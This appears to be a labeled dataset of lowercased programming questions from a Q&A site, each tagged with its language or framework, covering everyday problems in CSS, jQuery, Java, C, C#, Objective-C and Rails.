897 was found.,java
i need to display a soundcloud iframe in a uiwebview. objective c  i need to add an embedded iframe soundcloud player in a uiwebview i have tried it serveral ways but it either doesnt load at all or the iframe loads but when i press play the track doesnt play at all i have used this code however it loads the  iframe but doesn t play it:   <pre><code>- (void)viewdidload {     [super viewdidload];      self.webview.delegate = self;      self.titlelbl.text = self.video.videotitle;     self.desclbl.text = self.video.videodescription;     [self.webview loadhtmlstring:self.video.videoiframe baseurl:nil]; }  -(void)webviewdidfinishload:(uiwebview *)webview {      nsstring *css = @ .container {position: relative; width: 100%; height: 0; padding-bottom: 56.25%; } .track { position: absolute; top: 0; left: 0; width: 100%; height: 100%;} ;      nsstring* js = [nsstring stringwithformat:                     @ var stylenode = document.createelement( style );\n                       stylenode.type = \ text/css\ ;\n                       var styletext = document.createtextnode( %@ );\n                       stylenode.appendchild(styletext);\n                       document.getelementsbytagname( head )[0].appendchild(stylenode);\n  css];     nslog(@ js:\n%@  js);     [self.webview stringbyevaluatingjavascriptfromstring:js];  } </code></pre>,objective-c
rails personal message plugin  is there any good  rails personal messaging plugins   <a href= http://www.novawave.net/public/rails_messaging_tutorial.html  rel= nofollow noreferrer >or should i roll my own </a> this is the features i might need:   <ul> <li>send/recieve personal messages</li> <li>notification by email. (you got a new message)</li> <li>maybe contacts (not important)</li> </ul>   best regards. asbjørn morell,ruby-on-rails
what is best use volatile and what is happen when we use in a local or formal variable   what would happen when we use the volatile in local variable     for example    <pre><code>    #include &lt;stdio.h&gt;     #include &lt;stdlib.h&gt;      int get_data (volatile int data)     {         return (data * data * data);     }      int main()     {         int data = get_data(12);         printf( %d  data);         return 0;     } </code></pre>,c
jquery: among selected elements  select nth element  given html such as :   <pre><code>&lt;div&gt;   &lt;span&gt;hello&lt;/span&gt;   &lt;p class= selected &gt;hello again&lt;/p&gt;   &lt;div class= selected &gt;and again&lt;/div&gt;   &lt;p&gt;and one last time&lt;/p&gt; &lt;/div&gt; </code></pre>   and js such as :   <pre><code>$(  div  ).children(  .selected  )[0].css(  color    blue  ); // this doesn t work </code></pre>   it doesn t grab the first selected element. <strong>how to make it work  </strong>    note: it s for a loop  so i will have access to a <code>var i</code>.    <a href= https://jsfiddle.net/kg20avn5/  rel= nofollow noreferrer >https://jsfiddle.net/kg20avn5/</a>,jquery
why does a priority queue require front()  pop_back() from the underlying container instead of back()  pop_back()   from <em>c++ primer</em> and also <a href= https://en.cppreference.com/w/cpp/container/priority_queue  rel= nofollow noreferrer >https://en.cppreference.com/w/cpp/container/priority_queue</a>  i know:    <blockquote>    a priority_queue requires random access   in addition to the front  push_back  and pop_back operations;  </blockquote>   i also read this <a href= https://www.fluentcpp.com/2018/03/20/heaps-and-priority-queues-in-c-part-3-queues-and-priority-queues/  rel= nofollow noreferrer >blog post</a> from google and know:   <blockquote>   <ul>   <li>push: add a new element to the queue </li>   <li>pop: remove the largest element of the queue </li>   <li>top: access the largest element of the queue.</li>   </ul> </blockquote>   <code>push</code> should be implemented by <code>push_back</code>  no problem. and <code>pop</code> and <code>top</code> seem to operate on the same element. one is to access it  the other removes it. so i think these two operations should be implemented by <code>pop_front()</code> and <code>front()</code> or <code>pop_back()</code> and <code>back()</code>.    so i am confused  why are the requirements <code>front()</code> and <code>pop_back()</code>     let s for example assume the underlying container is a <code>vector</code> and with some int elements let s say <code>1 2 3 4 5 6</code>. how does the adaptor interface  <code>pop()</code>  <code>top()</code>  work with the underlying  <code>front()</code>  <code>pop_back()</code>,c++
javascript object array with multiple options  i am trying to create an array with multiple object with multiple options each in javascript.    but i seem to be going in the wrong direction. what am i doing wrong here    <pre><code>var group = {[      object1 [          option1  :  data1.1            option2  :  data1.2            option3  :  data1.3       ]       object2 [          option1  :  data2.1            option2  :  data2.2            option3  :  data2.3       ]       object3 [          option1  :  data3.1            option2  :  data3.2            option3  :  data3.3       ]  ]}; </code></pre>,javascript
check if the characters of the scrambled string match the second string  the method <code>stringscramble()</code> accepts two <code>strings</code> one of which represents a <code>scrambled string</code>(such as <code>rkqodlw</code>) and the second one represents an actual word (such as <code>world</code>) and returns <code>true</code> if the <code>scrambled string</code> can be rearranged to match the second <code>string</code> for example  when i type:   <pre><code>enter two strings:  ellho hello false </code></pre>   then the program is giving me <code>false</code> instead of <code>true</code> as <code>ellho</code> can be rearranged as <code>hello</code>.    <pre><code>import java.util.scanner;  public class stringscamble {      public static void main(string[] args)     {         scanner kbd = new scanner(system.in);         system.out.println( enter two strings:  );         string mystring1 = kbd.nextline();         string mystring2 = kbd.nextline();          boolean result = stringscramble(mystring1  mystring2);         system.out.println(result);     }      public static boolean stringscramble(string mystring1  string mystring2)     {         string temp =   ;         for(int i = 0; i &lt; mystring1.length(); i++)             for(int j = 0; j &lt; mystring2.length(); j++)             {                 if(mystring1.charat(i) == mystring2.charat(j))                     temp += mystring1.charat(i);             }         if(temp.equals(mystring1))             return true;         else             return false;     } } </code></pre>,java
need to count number of instances of a specific word  i have a homework problem that wants a program that will count the number of instances of a specific word in the users input. it only needs to count the words between whitespace. i m thinking we need to use a vector  and add on to it every time an instance of  word  appears. then at the end  use v.size() to tell the size of the vector. this is what i have so far  but it won t compile  i m pretty sure its not right:   <pre><code>#include &lt;iostream&gt;  #include &lt;string&gt; #include &lt;vector&gt; using namespace std;  int main() {   string word;   vector&lt;string&gt; v;   while (cin &gt;&gt; word)   {     if (v ==  word )     {       v.push_back (word);     }   }   cout &lt;&lt; v.size();   return 0; } </code></pre>,c++
creating a css grid layout with images  i m trying to make a nice grid layout using css but can t get them to display in rows of 3 with an individual column row of 33.3333%    the grid style i m going for is <a href= http://focuslabllc.com/work  rel= nofollow >this</a>.    here is the code i have so far;    html:   <pre><code>    &lt;section id= web &gt;    &lt;div class= row &gt;    &lt;span class= web large-3 columns &gt;&lt;img src= images/1.gif &gt;&lt;/span&gt;    &lt;span class= web large-3 columns &gt;&lt;img src= images/2.jpg &gt;&lt;/span&gt;    &lt;span class= web large-3 columns &gt;&lt;img src= images/3.png &gt;&lt;/span&gt;    &lt;/div&gt;    &lt;div class= row &gt;    &lt;span class= web large-3 columns &gt;&lt;img src= images/4.jpg &gt;&lt;/span&gt;    &lt;span class= web large-3 columns &gt;&lt;img src= images/5.png &gt;&lt;/span&gt;    &lt;span class= web large-3 columns &gt;&lt;img src= images/6.jpg &gt;&lt;/span&gt;    &lt;/div&gt; &lt;/section&gt; </code></pre>   css:   <pre><code>section { display: block; }  section#web { background: #f8f8f8; padding: 80px 0; }  .row { width: 100%; margin: 0 auto; max-width: 1144px; }  span.web { margin-bottom: 20px; text-align: center; position: relative; border: 1px solid #e3e3e3; }  .row .large-3 { position: relative; width: 33.33333%; }  .row .columns { position: relative; padding-left: .83333em; padding-right: .83333em; width: 100%; float: left; } </code></pre>   my <a href= http://jsfiddle.net/ap2jw/  rel= nofollow >jsfiddle</a>.,css
when to know system.in ending  according to the teacher our code reads from system.in  and that the program ends when we reach the end of the standard input file. how do i know that i have reach the end     as requested here is my best translation.--   <ul> <li>original: o sistema deverá ler comandos da entrada padrão (system.in)  processando-os um a um e enviando os resultados para a saída padrão (system.out). a terminação ocorrerá quando for atingido o fim de ficheiro na entrada padrão.  </li> <li>translated: the system should    read commands from the standard input (system.in)  processing them    one by one and sending the results to the standard output    (system.out). the ending should occur when the end of the file in the    standard input is reach </li> </ul>   what i have so far.   <pre><code>public static void readinput()     {         java.util.scanner in;         string tmp =   ;         try {             in = new scanner(system.in);             while (in.hasnext()) {                 tmp = in.next().touppercase();                 commandanalyzer(tmp  in);             }             in.close();         } catch (exception e) {             system.out.printf(e.getlocalizedmessage() +  \n );         }     } </code></pre>,java
merge sorted arrays and remove duplicates javascript  i came up with this in order to merge two sorted arrays and remove duplicates. i want to know if i can do better.    any ideas    <pre><code>var mergearrays = function(arr1   arr2){ var mergedarray = new array(); var i = 0  j=0 k=0; var prev = -1; while(arr1.length  &gt; i || arr2.length &gt; j){     if(arr1[i] == arr2[j]){         mergedarray[k] = arr1[i];         i++;         j++;     }else if(arr1[i] &lt; arr2[j] || arr2[j] == undefined){         mergedarray[k] = arr1[i];         i++;     }else{         if(arr2[j]&gt;prev) {             mergedarray[k] = arr2[j];         }         j++;     }      prev = mergedarray[k];     k++;  }  return mergedarray; } </code></pre>,javascript
how do i enter data in a program to count the entered characters   i wrote two programs in c to count characters and print the value.    one uses the while loop and the other uses for. no errors are reported while compiling  but neither print anything.    here s the code using <em>while</em>:   <pre><code>#include &lt;stdio.h&gt;  /* count characters and input using while */ main() {     long nc;      nc = 0;     while (getchar() != eof)         ++nc;     printf( %ld\n   nc); } </code></pre>   and here s the code using <em>for</em>:   <pre><code>#include &lt;stdio.h&gt;  /* count characters and input using for */ main() {     long nc;      for (nc = 0; getchar() != eof; ++nc)         ;     printf( %ld\n   nc); } </code></pre>   both compile and run.    when i type input and hit enter  a blank newline prints. when i hit enter without inputting anything  again a blank newline prints. i think it should at least print zero.,c
how to max height on floating grid items  i often have a situation where there s a series of items floating left with a percentage width. i want all these items to have a set height of whatever the longest item is so they all stack and evenly.    <a href= http://codepen.io/jeremypbeasley/pen/bnfmd  rel= nofollow >http://codepen.io/jeremypbeasley/pen/bnfmd</a>   <pre><code>.box {   width: 25%;   margin: 2.5%;   float: left; } </code></pre>   you ll notice the second to last <code>.box</code> is making the last one sit in the wrong place.    any help,css
how can i print a number into a char array   i m developing a pacman game with allegro (in ubuntu) but i am unable to show the score. i found this code but it doesn t work. could you help me please    <pre><code>char scoretxt[10]; printf(scoretxt  score: %d  score); textout_ex(buffer  font  scoretxt  tile_size*(map_width)*3/4  tile_size  makecol(255 255 255)  makecol(0 0 0)); </code></pre>,c
preg_replace tags between tags  im trying to replace html tags that are between pre tags. this is what i want it to do:   <pre><code>$str =  &lt;pre&gt;&lt;div&gt;get&lt;p&gt;rid&lt;/p&gt; of html tags&lt;/div&gt;&lt;/pre&gt; ; $str = preg_replace( #(&lt;pre.* &gt;)/&lt;[^&lt;&gt;]+&gt;/(&lt;/pre&gt;)#    $1$2   $str); echo $str; </code></pre>   it should responed with   get rid of html tags  in pre tags    i know for a fact that    <pre><code>$str = preg_replace( #(&lt;pre.* &gt;).* (&lt;/pre&gt;)#    $1$2   $str); </code></pre>   works  but responds with empty pre tags.    i just need to remove all html tags in between the pre tags.,php
out of range but it is in range   so i want to learn the periodic table but i want to program a game to do it (it will be a console window). so the first code is the class for an element  its pretty easy...   <pre><code>using system; using system.collections.generic; using system.linq; using system.text; using system.threading.tasks;  namespace periodictablegame {     class element     {         int atomicnumber;         double atomicmass;         string name;         int period;         int group;         bool islanthanide;         bool isactanide;         int ismetal; // 0 = non metal  1 = metaloid  2 = metal         int stateatrt; // 0 = solid  1 = liquid  2 = gas  3 = plasma (68     degrees f  20 celcius  293.15 kelvin)          int block; // 0 = s  1 = d  2 = p  3 = f          public element(int atomicnumber  double atomicmass  int period  int group  bool islanthanide  bool isactanide  int ismetal  int stateatrt  int block)         {             atomicnumber = atomicnumber;             atomicmass = atomicmass;             period = period;             group = group;             islanthanide = islanthanide;             isactanide = isactanide;             ismetal = ismetal;             stateatrt = stateatrt;             block = block;         }     } </code></pre>   so that block is good so far  and now the second block...   <pre><code>class data {     public static list&lt;element&gt; elementlist = new list&lt;element&gt;();      public static list&lt;element&gt; addtolist()     {         element nothing = new element(0  0  0  0  false  false  0  0  0);         element hydrogen = new element(1  1.008  1  1  false  false  0  2  0);         element helium = new element(2  4.003  1  18  false  false  0  2  0);         element lithium = new element(3  6.94  2  1  false  false  0  0  0);         element beryllium = new element(4  9.012  2  2  false  false  2  0  0);         element boron = new element(5  10.81  2  13  false  false  1  0  2);         element test = new element(0  0  0  0  false  false  0  0  0);         elementlist.insert(0  nothing);         elementlist.insert(1  hydrogen);         elementlist.insert(2  helium);         elementlist.insert(3  lithium);         elementlist.insert(4  beryllium);         elementlist.insert(5  boron);         elementlist.insert(6  test);         return elementlist;     } } </code></pre>   that one is also good  and now the 3rd block...   <pre><code>class numbergenerator {     public static int randomnumbergenerator(int min  int max)     {         random randomgen = new random();         int randomgenchoice = randomgen.next(min  max + 1);         return randomgenchoice;     }     public static element randomelementgenerator(int number)     {         element x = data.elementlist.elementat(number);         return x;     } }      class program {     static void main(string[] args)     {         int rng = numbergenerator.randomnumbergenerator(1  5);         element y = numbergenerator.randomelementgenerator(rng);     } </code></pre>   (ignore the brackets i may have missed one on this post but they are fine in visual studio) i made a list of elements (i started with 5  and a 1st  and a test...) and tries to use the elementgenerator on them but it gave an out of range exception  so i used an array  which is what you are looking at  and than i use the number 1 instead of  number  which is an index no question  i put it in by hand  and i still got an out of range exception... why,c#
changing the forecolor at runtime of label which is present in template field of gridview in asp.net  i am creating one application using gridview of asp.net. grid view containing one template which having 3 to 4 labels which bind from database values.one label of gridview tamplate forecolor is blue but after selecting row i want to change color to white to selected row label to white but my problem is all other label colors is changed but that blue color label color is remaining. i am using following code to change color of all labels at gridview selectedindex changed event. for i as integer = 0 to gridview1.rows.count - 1             if i = gridview1.selectedindex then   <pre><code>     gridview1.selectedrow.attributes.add( style    background-image: url( images/weight-loss-li-over.gif ); color : white; )         else             gridview1.rows(i).forecolor = drawing.color.black             gridview1.rows(i).font.bold = false             gridview1.rows(i).attributes.remove( style )          end if     next </code></pre>   pls give me any answer,asp.net
rails to_json method with associations  there is the following code:   <pre><code>@menu.to_json(include: [:submenus]) </code></pre>   i get a json respresentation of menu with submenus. but submenu has association  items   and i want to render menu with all the submenus and with all the items. how can i do it  thanks!,ruby-on-rails
is there a better way to toggle between two buttons   view it on jsfiddle: <a href= http://jsfiddle.net/mm79v/  rel= nofollow >http://jsfiddle.net/mm79v/</a>    <strong>my jquery</strong>   <pre><code>$( .suporsubbutton ).click(function(e) {     var child = $(this).children().attr( id );     if (child ==  superscript ) {         if ($(this).hasclass( buttonactive )) {             $(this).removeclass( buttonactive );         } else {             $( #subscript ).parent().removeclass( buttonactive );             $(this).toggleclass( buttonactive );         }     } else if (child ==  subscript ) {         if ($(this).hasclass( buttonactive )) {             $(this).removeclass( buttonactive );         } else {             $( #superscript ).parent().removeclass( buttonactive );             $(this).toggleclass( buttonactive );         }     }; }); </code></pre>   i would love to know if there is a better way to do what i have done above using jquery as i need to implement something similar elsewhere at a future date. i m still learning jquery and i know this works  however is it the best way  or even a good way     best regards    tim,jquery
uitableview inside of viewcontroller goes behind nav bar on certain iphones  so  in the app  i put an empty view behind the navbar and my uitableview inside of a view to try to accommodate with the spacing.     this worked great on the 5s  but on the 6s there is a huge white space.    how can i fix this     here is the iphone 6s:    <img src= https://i.stack.imgur.com/ianhn.png  alt= iphone 6s >    and here is the iphone 5s:    <img src= https://i.stack.imgur.com/ezulc.png  alt= iphone 5s >,ios
how to adjust the second div  i have two div    <a href= http://jsfiddle.net/kux3g/  rel= nofollow >http://jsfiddle.net/kux3g/</a>    <strong>future</strong>    |--- <strong>futureborderl</strong><br>  |<br>  |--- <strong>futureborderr</strong><br>    the <strong>futureborderr</strong> div is not up to the line  which is the right one.    plz suggest.    thanks!!!,css
rotate uiimage like spin the bottle  i dont know if anyone of you guys know the spin the bottle application for the iphone. i want to make a simple app which offers the user a simple image with a bottle. the user should be able to rotate the bottle by using finger gestures. he/she should be able to rotate it with a rotation with the fingers and after releasing (touchesend) the bottle should spin further and slow down until it stop at a position based on the speed.    any clues or hints for a solution,iphone
getting objects from a text file  i have a text file like this;    <pre><code>    7-georgia     1-andrew     6-john     8-luke     9-erica     3-kim     2-jude     5-phil     4-leo </code></pre>   the first column is id and second is name. how can i get these id s and names  so far i wrote this;   <pre><code>import java.io.file; import java.io.filenotfoundexception; import java.util.*; public class main {      @suppresswarnings( resource )     public static void main(string[] args) throws filenotfoundexception {         // todo auto-generated method stub         @suppresswarnings( unused )          scanner fromfile = new scanner(new file( id_name.txt ));         fromfile.usedelimiter( - );          while(fromfile.hasnext()){             string temp = fromfile.next();             system.out.println(temp);         }          while(fromfile.hasnext()){             string temp= fromfile.next();             int[] fileid;             fileid= new int[9];              for(int i=0; i&lt;9; i++){                 fileid[i]= integer.parseint(temp);             }              system.out.println(fileid);         }     } } </code></pre>   but this doesn t get the id s. i m not sure how to fix this  i d be grateful if you help me.,java
storing/saving a udf  a helpful user was able to help me <a href= https://stackoverflow.com/questions/9339338/mysql-creating-a-user-defined-function-for-a-custom-sort >create a mysql udf for custom sorting</a>.  what s the suggested approach for storing this udf so that it s always available   i ve read that if the server restarts  the udf is lost.  restarts are likely to be frequent  as this is on a local windows network server that has a variety of roles and admins.    right now i m just going to drop and recreate it on client-side login.  logins won t be terribly frequent - it s used by a staff of about 11.  i assume this is not the most efficient approach.    i think i read it s possible to write it in c and store it in a .dll  but this is probably beyond my skill level.,mysql
navigation related issue in iphone  i am doing nevigation in one screen (i.e firstscreen) to next screen (i.e. secondfile).  my code is in firstfile.m  is :   <pre><code>- (ibaction)onclick:(id)sender {  secondfile* dest = [[secondfile alloc] initwithnibname:@  secondfile  bundle:nil]; [self.navigationcontroller pushviewcontroller:dest animated:yes];   nsstring* uname = txtusername.text; nslog(@ usr name is : %@  uname);  } </code></pre>   firstscreen.h   <pre><code>&lt;uikit/uikit.h&gt;  @interface nevigationviewcontroller : uiviewcontroller @property (weak  nonatomic) iboutlet uibutton *btnnevigation; @property (weak  nonatomic) iboutlet uitextfield *txtusername; - (ibaction)onclick:(id)sender;  @end </code></pre>   problem is that log is printed but navigation is not perform. please  can u tell me what is wrong in above code.,iphone
warning  return makes pointer from integer without a cast   why does it have a  return makes pointer from integer without a cast  warning     i have a  person  object that contains an nsstring and an int.   <pre> -(id)tableview:(nstableview *)tableview objectvaluefortablecolumn:(nstablecolumn *)tablecolumn row:(nsinteger)row { person *theperson = [thelist objectatindex:row]; if (tablecolumn == nametablecolumn)     {         return theperson.thename;     }     else if (tablecolumn == agetablecolumn)     {         return theperson.theage;     }     else          return nil; } </pre>   for some kind of reason  the age instance variable gets a warning about pointers.  it s weird and i want to know why.,objective-c
is there a purely logical way of grouping html elements   <code>&lt;div&gt;</code> and <code>&lt;span&gt;</code> changes a page layout. using different attribute values does not help.,html
floating point exception for seemingly no reason  my code is throwing me a floating point exception here  but i can t figure out why.   <pre><code>int i = this -&gt; numerator; while(i &gt; 1){     if ((this -&gt; numerator % i == 0) &amp;&amp; (this -&gt; denominator % i == 0)) {         this -&gt; numerator = this -&gt; numerator / i;         this -&gt; denominator = this -&gt; denominator / i;     }     i = i - 1; } </code></pre>   the goal is to simplify a fraction. as you can see  things only get mod by i and i > 1. same goes for division. strangely it will keep throwing the error even if i comment out the code within the while loop  but the code works fine if i get rid of the while loop completely. the same thing happened when i tried to use a for loop instead. what am i missing,c++
why prefer yield over a simple return   i am trying to understand use of yield to enumerate the collection. i have written this basic code:   <pre><code>static void main(string[] args) {     iterate iterate = new iterate();     foreach (int i in iterate.enumeratelist())     {         console.write( {0}   i);     }     console.readline(); }  class iterate {     public ienumerable&lt;int&gt; enumeratelist()     {         list&lt;int&gt; lstnumbers = new list&lt;int&gt;();          lstnumbers.add(1);         lstnumbers.add(2);         lstnumbers.add(3);         lstnumbers.add(4);         lstnumbers.add(5);          foreach (int i in lstnumbers)         {             yield return i;         }     } } </code></pre>   (1) what if i use simply <code>return i</code> instead of <code>yield return i</code>      (2) what are the advantages of using yield and when to prefer using it     <em><strong></em> edited **</strong>    in the above code  i think it is an overhead to use <code>foreach</code> two times. first in the <code>main function</code> and the second in the <code>enumeratelist</code> method.,c#
sorting listbox filled from a database  ok  so i m using this code to fill a checkedlistbox from a combobox selection. i need to sort both the checkedlistbox and the combobox. now  i m having an issue sorting them. i thought that re-ordering them in the database would do it  but they are appearing based on time of creation not on anything else.    this top one fills the combobox  i need it to sort by alphabetical order.   <pre><code>    private void cmbdatabasefill()     {         string constr =  provider=microsoft.jet.oledb.4.0; data source=mydb.mdb ;         try         {             myconn = new oledbconnection(constr);             myconn.open();         }         catch (oledbexception ex)         {             messagebox.show( error in connection ...  + ex.message);             return;         }          string sqlstr =  select * from index; ;          dadapter = new oledbdataadapter(sqlstr  myconn);          dset = new dataset();          dadapter.tablemappings.add( table    index );          dadapter.fill(dset);          this.dviewmanager = dset.defaultviewmanager;          this.cmbindex.datasource = this.dviewmanager;          this.cmbindex.displaymember =  index.list ;          this.myconn.close();     } </code></pre>   this one is for the checkedlistbox  i need it to be sorted based on an  order  field in the database. the  order  column simply contains numbers showing what order the contents are supposed to display.   <pre><code>    private void clbdatabasefill()     {         string newtablename = cmbindex.text.replace(       );          string constr =  provider=microsoft.jet.oledb.4.0; data source=mydb.mdb ;         try         {             myconn2 = new oledbconnection(constr);             myconn2.open();         }         catch (oledbexception ex)         {             messagebox.show( error in connection ...  + ex.message);         }          string sqlstr =  select * from   + newtablename +  ; ;          dadapter2 = new oledbdataadapter(sqlstr  myconn2);          dset2 = new dataset();          dadapter2.tablemappings.add( table   newtablename);          try         {             dadapter2.fill(dset2);         }         catch (system.exception)         {             return;         }          this.dviewmanager2 = dset2.defaultviewmanager;          this.clblist.datasource = this.dviewmanager2;          this.clblist.displaymember = newtablename +  .name ;          this.myconn2.close();     } </code></pre>   now  like i said  everything displays and functions properly  i m grabbing the values i need from the checkedlistbox later referencing the column names in the db using datarowview instead of binding a valuemember  because i was dealing with multiple values per row. the big problem is that its not displaying based on the  order  column  or how it appears in the db. is there an easy way to accomplish these 2 different sorting methods,c#
why does .net warn for  unused variables  but not  unused parameter    why does .net warn for  unused variables  but not  unused parameter   (i believe java warns in both cases.)    why doesn t .net care about  unused parameters,.net
how to display image view background color with hash value  how to display image view background color with hash values.    i need to place image view background color with #028002.    can any one please help me     thank u in advance.,iphone
how to use :not selector on click event   first i tried like this:   <pre><code>$( .choose-car li:not(.selected) ).click(function () {     console.log( works and with selected );     $(this).addclass( selected ); }); </code></pre>   then i thought a litle and and tried like this:   <pre><code>$( .choose-car li:not(.selected) ).on( click   function () {     console.log( works and with selected );     $(this).addclass( selected ); }); </code></pre>   both works with selected..    but now i thinking maybe i have to remove click event after first click or is there easier solution  maybe i missing something,jquery
position one div next to another div which is positioned in center  i want to position a <code>div</code> to the right of another <code>div</code> which is positioned in the center of the screen with a <code>margin-left: auto; margin-right: auto;</code>.    i tried to wrap the two divs into one doesn t seem to work because it center the wrapper rather than the first div.    any thoughts  thanks!    my css code so far:   <pre><code>#text { width: 500px; height: auto; margin-left: auto; margin-right: auto; margin-top: 150px; }  #image { overflow: hidden; float: right; } </code></pre>,html
how to stop a $.each loop in jquery   i fill in data for a user from a json array.  this is a simulation of exactly the problem i have.      when i click on the button number 1 it goes over the each loop 4 times.  button 2  3 times  etc.      is there a way to stop the $.each loop.  i thought that <code>return false;</code> should do this  but it doesn t seem to help.  check out the jsfiddle to see it in action.    html   <pre><code>&lt;div id= add_more_asset_numbers_edit  /&gt;&lt;/div&gt; </code></pre>   jquery   <pre><code>var arr = [         1             2              3              4       ];      $.each(arr  function (index  value) {       // alert(value);         $( #add_more_asset_numbers_edit ).append( &lt;input type= text  name=   value=  + value+   id= input_ + value+   disabled /&gt;&lt;button type= button  id=  + value+ _ + value+ _1  class= btn btn-warning edit_more_assets &gt;edit&lt;/button&gt;&lt;button type= button  id=  + value+ _ + value+   class= btn btn-danger remove_more_assets &gt;remove&lt;/button&gt;&lt;br id=  + value+ _2 &gt; );          $( .edit_more_assets ).on( click   function(){             var id1 = $(this).prop( id );             alert(id1);             return false;          });         $( .remove_more_assets ).on( click   function(){                 var id1 = $(this).prop( id );                 alert(id1)                 return false;         });     }); </code></pre>   <a href= https://jsfiddle.net/soljohnston777/138tsgs7/  rel= nofollow noreferrer >https://jsfiddle.net/soljohnston777/138tsgs7/</a>,jquery
how to pull data from website   so i have a website that i have certain data on  and i want to read that data in as variables in android studio. what would be the best way to go about this      i can t just pull all the data  just certain lines  but the webpage is very very simple (10 lines total and contains just data).,android
ios: how to disable uisegmentcontrol without  dimm - effect   i try to integrate a uisegmentcontrol to my app which should only display a current status. this means i do not want the segmentcontrol to be touchable.     i tried:    <pre><code>passwdstrength = (uisegmentedcontrol *)[cell viewwithtag:99]; tintcolor = [uicolor colorwithred:255.0/255.0 green:0.0/255.0 blue:0.0/255.0 alpha:1.0]; [passwdstrength settintcolor:tintcolor]; [passwdstrength settitle:lang(@ pw_strength_weak ) forsegmentatindex:0]; [passwdstrength settitle:lang(@ pw_strength_medium ) forsegmentatindex:1]; [passwdstrength settitle:lang(@ pw_strength_strong ) forsegmentatindex:2]; passwdstrength.enabled = no; passwdstrength.alpha = 1.0f; </code></pre>   the segmentcontrol is not touchable anymore but the colors (i switch between red  yellow  green) are dimmed. i searched an answer and found the info that the alpha value of the segment is set to 0.5f when it is disabled. because of that i tried to set the alpha value manually to 1 but it does not work.     anybody an idea how to disable the touch on uisegmentcontrol without dimming the color of the element,ios
i thought there s only one manifest file in an android project  what s it means by that comment of  the activity you are calling should appear not only in the manifest for its own package  but in the manifest for the calling package  too.   i only have one package.     <a href= https://stackoverflow.com/questions/3433778/android-content-activitynotfoundexception >android.content.activitynotfoundexception:</a>,android
no route matches  /application  with {:method=>:get}  i am having exactly the same problem as in this threat    <a href= http://railsforum.com/viewtopic.php pid=139352#p139352  rel= nofollow >http://railsforum.com/viewtopic.php pid=139352#p139352</a>    but unfortunately  the solution is not specified...    my so is ubuntu 10.10 my apache server is integrated on xampp1.7.4 rails 2.3.5    i am getting the error when i am at <a href= http://localhost:3000/application  rel= nofollow >http://localhost:3000/application</a>   <pre><code>actioncontroller::routingerror (no route matches  /application  with {:method=&gt;:get}):   /usr/lib/ruby/1.8/action_controller/routing/recognition_optimisation.rb:66:in `recognize_path    /usr/lib/ruby/1.8/action_controller/routing/route_set.rb:441:in `recognize    /usr/lib/ruby/1.8/action_controller/routing/route_set.rb:436:in `call    /usr/lib/ruby/1.8/action_controller/dispatcher.rb:87:in `dispatch    /usr/lib/ruby/1.8/action_controller/dispatcher.rb:121:in `_call    /usr/lib/ruby/1.8/action_controller/dispatcher.rb:130:in `build_middleware_stack    /usr/lib/ruby/1.8/active_record/query_cache.rb:29:in `call    /usr/lib/ruby/1.8/active_record/query_cache.rb:29:in `call    /usr/lib/ruby/1.8/active_record/connection_adapters/abstract/query_cache.rb:34:in `cache    /usr/lib/ruby/1.8/active_record/query_cache.rb:9:in `cache    /usr/lib/ruby/1.8/active_record/query_cache.rb:28:in `call    /usr/lib/ruby/1.8/active_record/connection_adapters/abstract/connection_pool.rb:361:in `call    /usr/lib/ruby/1.8/action_controller/string_coercion.rb:25:in `call    /usr/lib/ruby/1.8/rack/head.rb:9:in `call    /usr/lib/ruby/1.8/rack/methodoverride.rb:24:in `call    /usr/lib/ruby/1.8/action_controller/params_parser.rb:15:in `call    /usr/lib/ruby/1.8/action_controller/session/cookie_store.rb:93:in `call    /usr/lib/ruby/1.8/action_controller/failsafe.rb:26:in `call    /usr/lib/ruby/1.8/rack/lock.rb:11:in `call    /usr/lib/ruby/1.8/rack/lock.rb:11:in `synchronize    /usr/lib/ruby/1.8/rack/lock.rb:11:in `call    /usr/lib/ruby/1.8/action_controller/dispatcher.rb:114:in `call    /usr/lib/ruby/1.8/action_controller/reloader.rb:34:in `run    /usr/lib/ruby/1.8/action_controller/dispatcher.rb:108:in `call    /usr/lib/ruby/1.8/rack/urlmap.rb:47:in `call    /usr/lib/ruby/1.8/rack/urlmap.rb:41:in `each    /usr/lib/ruby/1.8/rack/urlmap.rb:41:in `call    /usr/lib/ruby/1.8/rack/content_length.rb:13:in `call    /usr/lib/ruby/1.8/rack/handler/webrick.rb:48:in `service    /usr/lib/ruby/1.8/webrick/httpserver.rb:104:in `service    /usr/lib/ruby/1.8/webrick/httpserver.rb:65:in `run    /usr/lib/ruby/1.8/webrick/server.rb:173:in `start_thread    /usr/lib/ruby/1.8/webrick/server.rb:162:in `start    /usr/lib/ruby/1.8/webrick/server.rb:162:in `start_thread    /usr/lib/ruby/1.8/webrick/server.rb:95:in `start    /usr/lib/ruby/1.8/webrick/server.rb:92:in `each    /usr/lib/ruby/1.8/webrick/server.rb:92:in `start    /usr/lib/ruby/1.8/webrick/server.rb:23:in `start    /usr/lib/ruby/1.8/webrick/server.rb:82:in `start    /usr/lib/ruby/1.8/rack/handler/webrick.rb:14:in `run  </code></pre>   <strong>edit</strong>  route.rb   <pre><code>actioncontroller::routing::routes.draw do |map|   # the priority is based upon order of creation: first created -&gt; highest priority.    # sample of regular route:   #   map.connect  products/:id   :controller =&gt;  catalog   :action =&gt;  view    # keep in mind you can assign values other than :controller and :action    # sample of named route:   #   map.purchase  products/:id/purchase   :controller =&gt;  catalog   :action =&gt;  purchase    # this route can be invoked with purchase_url(:id =&gt; product.id)    # sample resource route (maps http verbs to controller actions automatically):   #   map.resources :products    # sample resource route with options:   #   map.resources :products  :member =&gt; { :short =&gt; :get  :toggle =&gt; :post }  :collection =&gt; { :sold =&gt; :get }    # sample resource route with sub-resources:   #   map.resources :products  :has_many =&gt; [ :comments  :sales ]  :has_one =&gt; :seller    # sample resource route with more complex sub-resources   #   map.resources :products do |products|   #     products.resources :comments   #     products.resources :sales  :collection =&gt; { :recent =&gt; :get }   #   end    # sample resource route within a namespace:   #   map.namespace :admin do |admin|   #     # directs /admin/products/* to admin::productscontroller (app/controllers/admin/products_controller.rb)   #     admin.resources :products   #   end    # you can have the root of your site routed with map.root -- just remember to delete public/index.html.   # map.root :controller =&gt;  welcome     # see how all your routes lay out with  rake routes     # install the default routes as the lowest priority.   # note: these default routes make all actions in every controller accessible via get requests. you should   # consider removing or commenting them out if you re using named routes and resources.   map.connect  :controller/:action/:id    map.connect  :controller/:action/:id.:format  end </code></pre>   thanks in advance!!,ruby-on-rails
